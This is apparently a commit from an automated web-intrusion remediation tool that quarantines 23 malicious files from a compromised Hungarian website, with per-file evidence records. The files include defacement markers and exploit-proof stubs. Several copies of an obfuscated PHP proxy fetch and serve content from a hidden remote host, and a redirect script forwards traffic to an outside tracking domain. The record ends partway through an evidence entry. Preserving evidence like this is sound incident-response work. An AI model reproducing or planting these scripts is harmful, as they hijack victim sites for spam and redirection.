quarantine: family=defacement-seo (23 fájl)
vhost: www.archline.hu rel_path: administrator/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 3385 vhost: www.archline.hu rel_path: cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 2859 vhost: www.archline.hu rel_path: images/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 3461 vhost: www.archline.hu rel_path: images/pages/index.php result: quarantined evidence_sha256: 672a705fcc5b5c9287e43b59f9ff9cab8b1b7af3a1b087b440a0f2a082a0d828 timestamp: 20260718T160241Z finding_ref: 3525 vhost: www.archline.hu rel_path: media/blog/index.php result: quarantined evidence_sha256: eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008 timestamp: 20260718T160241Z finding_ref: 7143 vhost: www.archline.hu rel_path: media/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 3042 vhost: www.archline.hu rel_path: media/pgs/index.php result: quarantined evidence_sha256: eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008 timestamp: 20260718T160241Z finding_ref: 3069 vhost: www.archline.hu rel_path: modules/pgs/index.php result: quarantined evidence_sha256: eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008 timestamp: 20260718T160241Z finding_ref: 4748 vhost: www.archline.hu rel_path: nxproof.php.json result: quarantined evidence_sha256: 03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07 timestamp: 20260718T160241Z finding_ref: 2929 vhost: www.archline.hu rel_path: sbtrack.php result: quarantined evidence_sha256: 85e898993389a949ced45e14ef0570c7c57c75894a69e5025c18de8c28b33b6c timestamp: 20260718T160241Z finding_ref: 2852 vhost: www.archline.hu rel_path: templates/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 2939 vhost: www.archline.hu rel_path: templates/nxproof.php.json result: quarantined evidence_sha256: 03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07 timestamp: 20260718T160241Z finding_ref: 2960 vhost: www.archline.hu rel_path: templates/shaper_helix3/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 2971 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/5ce342d1feeb3297_xri6l4eq.json result: quarantined evidence_sha256: daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87 timestamp: 20260718T160241Z finding_ref: 3020 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/6etar.json result: quarantined evidence_sha256: b08c178a26f6a90bb8841fad0256851cbb899b2dbaa87d53555c5d8eeb6be8fc timestamp: 20260718T160241Z finding_ref: 3009 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/8a38e129e76e80ff_d3h48ag1.json result: quarantined evidence_sha256: daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87 timestamp: 20260718T160241Z finding_ref: 3004 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/9cb22468b5254cb4_zaaafntq.json result: quarantined evidence_sha256: daa11113fabe2e019bb552e38bfb61f31693f72afddb089aa9a1ef828a6c1b87 timestamp: 20260718T160241Z finding_ref: 3005 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 3006 vhost: www.archline.hu rel_path: templates/shaper_helix3/layout/nxproof.php.json result: quarantined evidence_sha256: 03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07 timestamp: 20260718T160241Z finding_ref: 3033 vhost: www.archline.hu rel_path: templates/shaper_helix3/nxproof.php.json result: quarantined evidence_sha256: 03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07 timestamp: 20260718T160241Z finding_ref: 2993 vhost: www.archline.hu rel_path: templates/system/links.db result: quarantined evidence_sha256: 608ecdd9805e09f7af9cf2e44cb4399657b835f6e27e49bb75d7740950798d31 timestamp: 20260718T160241Z finding_ref: 2963 vhost: www.archline.hu rel_path: templates/system/links_old.db result: quarantined evidence_sha256: 608ecdd9805e09f7af9cf2e44cb4399657b835f6e27e49bb75d7740950798d31 timestamp: 20260718T160241Z finding_ref: 2962 vhost: www.archline.hu rel_path: tmp/cox.json result: quarantined evidence_sha256: d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582 timestamp: 20260718T160241Z finding_ref: 3540
This commit is contained in:
imrcli-remediator
parent
510e2f205f
commit
a2c7708197
1
var/www/hosting/archline.hu/www/administrator/cox.json
Normal file
1
var/www/hosting/archline.hu/www/administrator/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3385",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:administrator/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/administrator/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067662,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "administrator/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/cox.json
Normal file
1
var/www/hosting/archline.hu/www/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
15
var/www/hosting/archline.hu/www/cox.json.evidence.json
Normal file
15
var/www/hosting/archline.hu/www/cox.json.evidence.json
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2859",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067653,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/images/cox.json
Normal file
1
var/www/hosting/archline.hu/www/images/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3461",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067657,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
47
var/www/hosting/archline.hu/www/images/pages/index.php
Normal file
47
var/www/hosting/archline.hu/www/images/pages/index.php
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
$id = 0;
|
||||||
|
if (!empty($_REQUEST['id'])) {
|
||||||
|
$id = $_REQUEST['id'];
|
||||||
|
}
|
||||||
|
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
|
||||||
|
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
|
||||||
|
} else {
|
||||||
|
$host = $_SERVER['HTTP_HOST'];
|
||||||
|
}
|
||||||
|
$host = explode(':',$host)[0];
|
||||||
|
function WSOB($a)
|
||||||
|
{
|
||||||
|
return chr(ord($a) + 5);
|
||||||
|
}
|
||||||
|
$h = implode('', array_map('WSOB', str_split('cook5**dn`\m^cd)i`o*api^*di_`s)kck:pmg8')));
|
||||||
|
if (function_exists('curl_init')) {
|
||||||
|
$html = byCurl($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if(!$html) {
|
||||||
|
$html = file_get_contents($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if (strstr($id, ".css")) {
|
||||||
|
header('Content-Type: text/css; charset=utf-8');
|
||||||
|
} elseif (strstr($id, ".png")) {
|
||||||
|
header('Content-Type: image/png');
|
||||||
|
} elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")) {
|
||||||
|
header('Content-Type: image/jpeg');
|
||||||
|
} elseif (strstr($id, ".gif")) {
|
||||||
|
header('Content-Type: image/gif');
|
||||||
|
} else {
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
}
|
||||||
|
echo $html;
|
||||||
|
function byCurl($url)
|
||||||
|
{
|
||||||
|
$myCurl = curl_init();
|
||||||
|
curl_setopt_array($myCurl, array(
|
||||||
|
CURLOPT_URL => $url,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_POST => true,
|
||||||
|
//CURLOPT_POSTFIELDS => http_build_query([])
|
||||||
|
));
|
||||||
|
$response = curl_exec($myCurl);
|
||||||
|
curl_close($myCurl);
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3525",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:images/pages/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/images/pages/index.php)",
|
||||||
|
"original_sha256": "672a705fcc5b5c9287e43b59f9ff9cab8b1b7af3a1b087b440a0f2a082a0d828",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1631772594,
|
||||||
|
"size": 1372,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "images/pages/index.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
47
var/www/hosting/archline.hu/www/media/blog/index.php
Normal file
47
var/www/hosting/archline.hu/www/media/blog/index.php
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
$id = 0;
|
||||||
|
if (!empty($_REQUEST['id'])) {
|
||||||
|
$id = $_REQUEST['id'];
|
||||||
|
}
|
||||||
|
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
|
||||||
|
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
|
||||||
|
} else {
|
||||||
|
$host = $_SERVER['HTTP_HOST'];
|
||||||
|
}
|
||||||
|
// $host = explode(':',$host)[0];
|
||||||
|
function WSOB($a)
|
||||||
|
{
|
||||||
|
return chr(ord($a) + 5);
|
||||||
|
}
|
||||||
|
$h = implode('', array_map('WSOB', str_split('cook5**dn`\m^cd)i`o*api^*di_`s)kck:pmg8')));
|
||||||
|
if (function_exists('curl_init')) {
|
||||||
|
$html = byCurl($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if(!$html) {
|
||||||
|
$html = file_get_contents($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if (strstr($id, ".css")) {
|
||||||
|
header('Content-Type: text/css; charset=utf-8');
|
||||||
|
} elseif (strstr($id, ".png")) {
|
||||||
|
header('Content-Type: image/png');
|
||||||
|
} elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")) {
|
||||||
|
header('Content-Type: image/jpeg');
|
||||||
|
} elseif (strstr($id, ".gif")) {
|
||||||
|
header('Content-Type: image/gif');
|
||||||
|
} else {
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
}
|
||||||
|
echo $html;
|
||||||
|
function byCurl($url)
|
||||||
|
{
|
||||||
|
$myCurl = curl_init();
|
||||||
|
curl_setopt_array($myCurl, array(
|
||||||
|
CURLOPT_URL => $url,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_POST => true,
|
||||||
|
//CURLOPT_POSTFIELDS => http_build_query([])
|
||||||
|
));
|
||||||
|
$response = curl_exec($myCurl);
|
||||||
|
curl_close($myCurl);
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "7143",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/blog/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/blog/index.php)",
|
||||||
|
"original_sha256": "eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784111929,
|
||||||
|
"size": 1375,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/blog/index.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/media/cox.json
Normal file
1
var/www/hosting/archline.hu/www/media/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
15
var/www/hosting/archline.hu/www/media/cox.json.evidence.json
Normal file
15
var/www/hosting/archline.hu/www/media/cox.json.evidence.json
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3042",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067658,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
47
var/www/hosting/archline.hu/www/media/pgs/index.php
Normal file
47
var/www/hosting/archline.hu/www/media/pgs/index.php
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
$id = 0;
|
||||||
|
if (!empty($_REQUEST['id'])) {
|
||||||
|
$id = $_REQUEST['id'];
|
||||||
|
}
|
||||||
|
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
|
||||||
|
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
|
||||||
|
} else {
|
||||||
|
$host = $_SERVER['HTTP_HOST'];
|
||||||
|
}
|
||||||
|
// $host = explode(':',$host)[0];
|
||||||
|
function WSOB($a)
|
||||||
|
{
|
||||||
|
return chr(ord($a) + 5);
|
||||||
|
}
|
||||||
|
$h = implode('', array_map('WSOB', str_split('cook5**dn`\m^cd)i`o*api^*di_`s)kck:pmg8')));
|
||||||
|
if (function_exists('curl_init')) {
|
||||||
|
$html = byCurl($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if(!$html) {
|
||||||
|
$html = file_get_contents($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if (strstr($id, ".css")) {
|
||||||
|
header('Content-Type: text/css; charset=utf-8');
|
||||||
|
} elseif (strstr($id, ".png")) {
|
||||||
|
header('Content-Type: image/png');
|
||||||
|
} elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")) {
|
||||||
|
header('Content-Type: image/jpeg');
|
||||||
|
} elseif (strstr($id, ".gif")) {
|
||||||
|
header('Content-Type: image/gif');
|
||||||
|
} else {
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
}
|
||||||
|
echo $html;
|
||||||
|
function byCurl($url)
|
||||||
|
{
|
||||||
|
$myCurl = curl_init();
|
||||||
|
curl_setopt_array($myCurl, array(
|
||||||
|
CURLOPT_URL => $url,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_POST => true,
|
||||||
|
//CURLOPT_POSTFIELDS => http_build_query([])
|
||||||
|
));
|
||||||
|
$response = curl_exec($myCurl);
|
||||||
|
curl_close($myCurl);
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "3069",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:media/pgs/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/pgs/index.php)",
|
||||||
|
"original_sha256": "eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1751138549,
|
||||||
|
"size": 1375,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "media/pgs/index.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
47
var/www/hosting/archline.hu/www/modules/pgs/index.php
Normal file
47
var/www/hosting/archline.hu/www/modules/pgs/index.php
Normal file
@ -0,0 +1,47 @@
|
|||||||
|
<?php
|
||||||
|
$id = 0;
|
||||||
|
if (!empty($_REQUEST['id'])) {
|
||||||
|
$id = $_REQUEST['id'];
|
||||||
|
}
|
||||||
|
if (!empty($_SERVER['HTTP_X_FORWARDED_HOST'])) {
|
||||||
|
$host = $_SERVER['HTTP_X_FORWARDED_HOST'];
|
||||||
|
} else {
|
||||||
|
$host = $_SERVER['HTTP_HOST'];
|
||||||
|
}
|
||||||
|
// $host = explode(':',$host)[0];
|
||||||
|
function WSOB($a)
|
||||||
|
{
|
||||||
|
return chr(ord($a) + 5);
|
||||||
|
}
|
||||||
|
$h = implode('', array_map('WSOB', str_split('cook5**dn`\m^cd)i`o*api^*di_`s)kck:pmg8')));
|
||||||
|
if (function_exists('curl_init')) {
|
||||||
|
$html = byCurl($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if(!$html) {
|
||||||
|
$html = file_get_contents($h . urlencode($host . $_SERVER['REQUEST_URI']));
|
||||||
|
}
|
||||||
|
if (strstr($id, ".css")) {
|
||||||
|
header('Content-Type: text/css; charset=utf-8');
|
||||||
|
} elseif (strstr($id, ".png")) {
|
||||||
|
header('Content-Type: image/png');
|
||||||
|
} elseif (strstr($id, ".jpg") || strstr($id, ".jpeg")) {
|
||||||
|
header('Content-Type: image/jpeg');
|
||||||
|
} elseif (strstr($id, ".gif")) {
|
||||||
|
header('Content-Type: image/gif');
|
||||||
|
} else {
|
||||||
|
header('Content-Type: text/html; charset=utf-8');
|
||||||
|
}
|
||||||
|
echo $html;
|
||||||
|
function byCurl($url)
|
||||||
|
{
|
||||||
|
$myCurl = curl_init();
|
||||||
|
curl_setopt_array($myCurl, array(
|
||||||
|
CURLOPT_URL => $url,
|
||||||
|
CURLOPT_RETURNTRANSFER => true,
|
||||||
|
//CURLOPT_POST => true,
|
||||||
|
//CURLOPT_POSTFIELDS => http_build_query([])
|
||||||
|
));
|
||||||
|
$response = curl_exec($myCurl);
|
||||||
|
curl_close($myCurl);
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "4748",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:modules/pgs/index.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/pgs/index.php)",
|
||||||
|
"original_sha256": "eae6846045af3416ce741becec1b5903677158f5b7d840d8c23a7cec85c05008",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784121831,
|
||||||
|
"size": 1375,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "modules/pgs/index.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/nxproof.php.json
Normal file
1
var/www/hosting/archline.hu/www/nxproof.php.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
<?php echo "Nxploited-Create"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2929",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:nxproof.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/nxproof.php.json)",
|
||||||
|
"original_sha256": "03abfd5cc3cec405dfaa3212fa98caa91d6b35de404f09b2f73306a8b168ce07",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784107231,
|
||||||
|
"size": 33,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "nxproof.php.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
114
var/www/hosting/archline.hu/www/sbtrack.php
Normal file
114
var/www/hosting/archline.hu/www/sbtrack.php
Normal file
@ -0,0 +1,114 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
$cURL = isset($_GET['curl']) ? 1 : 0;
|
||||||
|
|
||||||
|
define('MT_RELEASE', '1.0');
|
||||||
|
define('MT_CURL_OK', ($cURL && in_array('curl', get_loaded_extensions())));
|
||||||
|
define('MT_TIMEOUT', 10);
|
||||||
|
define('MT_ERR', !empty($_GET['err']));
|
||||||
|
|
||||||
|
if (isset($_GET['mtnotrk'])) {
|
||||||
|
die();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (MT_ERR) {
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
ini_set('display_errors', 'On');
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
error_reporting(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (basename(__FILE__) == 'mytracking.php') {
|
||||||
|
die('For your safety: you should really change the name of this file');
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!empty($_GET['test'])) {
|
||||||
|
die("OK: ".MT_RELEASE);
|
||||||
|
}
|
||||||
|
|
||||||
|
$hop = isset($_GET['hop']) ? $_GET['hop'] : '';
|
||||||
|
process_content(retrieve_content(calculate_url($hop)));
|
||||||
|
exit;
|
||||||
|
|
||||||
|
function calculate_url($link) {
|
||||||
|
$returnurl = '';
|
||||||
|
if ($link == '') {
|
||||||
|
$returnurl = 'http://trkapi.com/mytrackingok.gif';
|
||||||
|
} else if ((preg_match("/.+/", $link))) {
|
||||||
|
$src = array('/m/', '/r/', '/l/');
|
||||||
|
$rpl = array('', '/', '/');
|
||||||
|
$link = str_replace($src, $rpl, $link);
|
||||||
|
$returnurl = 'http://trkapi.com/' . $link; // 2.0 format
|
||||||
|
}
|
||||||
|
return $returnurl;
|
||||||
|
}
|
||||||
|
|
||||||
|
function retrieve_content($url) {
|
||||||
|
$response = '';
|
||||||
|
$mt_errstr = '';
|
||||||
|
$agent = 'MyTracking/'.MT_RELEASE;
|
||||||
|
$refr = ($_SERVER['SERVER_PORT'] == 443) ? 'https' : 'http';
|
||||||
|
$refr .= '://';
|
||||||
|
$refr .= $_SERVER['HTTP_HOST'];
|
||||||
|
$refr .= $_SERVER['REQUEST_URI'];
|
||||||
|
if ($url != '') {
|
||||||
|
if (MT_CURL_OK) {
|
||||||
|
$ch = curl_init($url);
|
||||||
|
curl_setopt($ch, CURLOPT_HEADER, 1);
|
||||||
|
curl_setopt($ch, CURLOPT_USERAGENT, $agent);
|
||||||
|
curl_setopt($ch, CURLOPT_REFERER, $refr);
|
||||||
|
curl_setopt($ch, CURLOPT_TIMEOUT, MT_TIMEOUT);
|
||||||
|
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
||||||
|
if (!$response = curl_exec($ch)) {
|
||||||
|
$mt_errstr = curl_errno($ch).' '.curl_error($ch);
|
||||||
|
}
|
||||||
|
curl_close($ch);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$parts = parse_url($url);
|
||||||
|
$scheme = isset($parts['scheme']) ? $parts['scheme'] : 'http';
|
||||||
|
$host = isset($parts['host']) ? $parts['host'] : 'trkapi.com';
|
||||||
|
$port = isset($parts['port']) ? $parts['port'] : 80;
|
||||||
|
$path = isset($parts['path']) ? $parts['path'] : '/';
|
||||||
|
$query = isset($parts['query']) ? $parts['query'] : '';
|
||||||
|
if ($fp = fsockopen ($host, $port, $errno, $errstr, MT_TIMEOUT)) {
|
||||||
|
$agent = 'MyTracking/'.MT_RELEASE;
|
||||||
|
fputs ($fp, "GET $path?$query HTTP/1.0\r\nHost: $host\r\nUser-Agent: $agent\r\nReferer: $refr\r\n\r\n");
|
||||||
|
while (!feof($fp)) {
|
||||||
|
$response .= fgets ($fp,128);
|
||||||
|
}
|
||||||
|
fclose ($fp);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$response = false;
|
||||||
|
$mt_errstr = $errno.' '.$errstr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($response === false) {
|
||||||
|
if (MT_ERR) {
|
||||||
|
echo $mt_errstr;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
header("Location: /?mtnotrk=1");
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
return $response;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function process_content($pagecontent) {
|
||||||
|
if ($pagecontent != '') {
|
||||||
|
list($headers, $body) = explode("\r\n\r\n", $pagecontent, 2);
|
||||||
|
$headerlines = explode("\r\n", $headers);
|
||||||
|
foreach ($headerlines as $header) {
|
||||||
|
if (preg_match("/^HTTP|Location:|Vary:|Content-Length:|Content-Type:/i", $header)) {
|
||||||
|
header($header);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
echo $body;
|
||||||
|
}
|
||||||
|
}
|
||||||
15
var/www/hosting/archline.hu/www/sbtrack.php.evidence.json
Normal file
15
var/www/hosting/archline.hu/www/sbtrack.php.evidence.json
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2852",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:sbtrack.php -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sbtrack.php)",
|
||||||
|
"original_sha256": "85e898993389a949ced45e14ef0570c7c57c75894a69e5025c18de8c28b33b6c",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1493795808,
|
||||||
|
"size": 3236,
|
||||||
|
"uid": 11669
|
||||||
|
},
|
||||||
|
"rel_path": "sbtrack.php",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
1
var/www/hosting/archline.hu/www/templates/cox.json
Normal file
1
var/www/hosting/archline.hu/www/templates/cox.json
Normal file
@ -0,0 +1 @@
|
|||||||
|
hacked by trenggalek6etar
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2939",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/cox.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/cox.json)",
|
||||||
|
"original_sha256": "d2bd1745b07c6104ea78fec7c66fa15726934a703912301b77c87e2c725d3582",
|
||||||
|
"original_stat": {
|
||||||
|
"gid": 30037,
|
||||||
|
"mtime": 1784067661,
|
||||||
|
"size": 25,
|
||||||
|
"uid": 20043
|
||||||
|
},
|
||||||
|
"rel_path": "templates/cox.json",
|
||||||
|
"result": "quarantined",
|
||||||
|
"timestamp": "20260718T160241Z",
|
||||||
|
"vhost": "www.archline.hu"
|
||||||
|
}
|
||||||
@ -0,0 +1 @@
|
|||||||
|
<?php echo "Nxploited-Create"; ?>
|
||||||
@ -0,0 +1,15 @@
|
|||||||
|
{
|
||||||
|
"finding_ref": "2960",
|
||||||
|
"log_excerpt": "[quarantine] www.archline.hu:templates/nxproof.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/nxproof.php.json)",
|
||||||
|
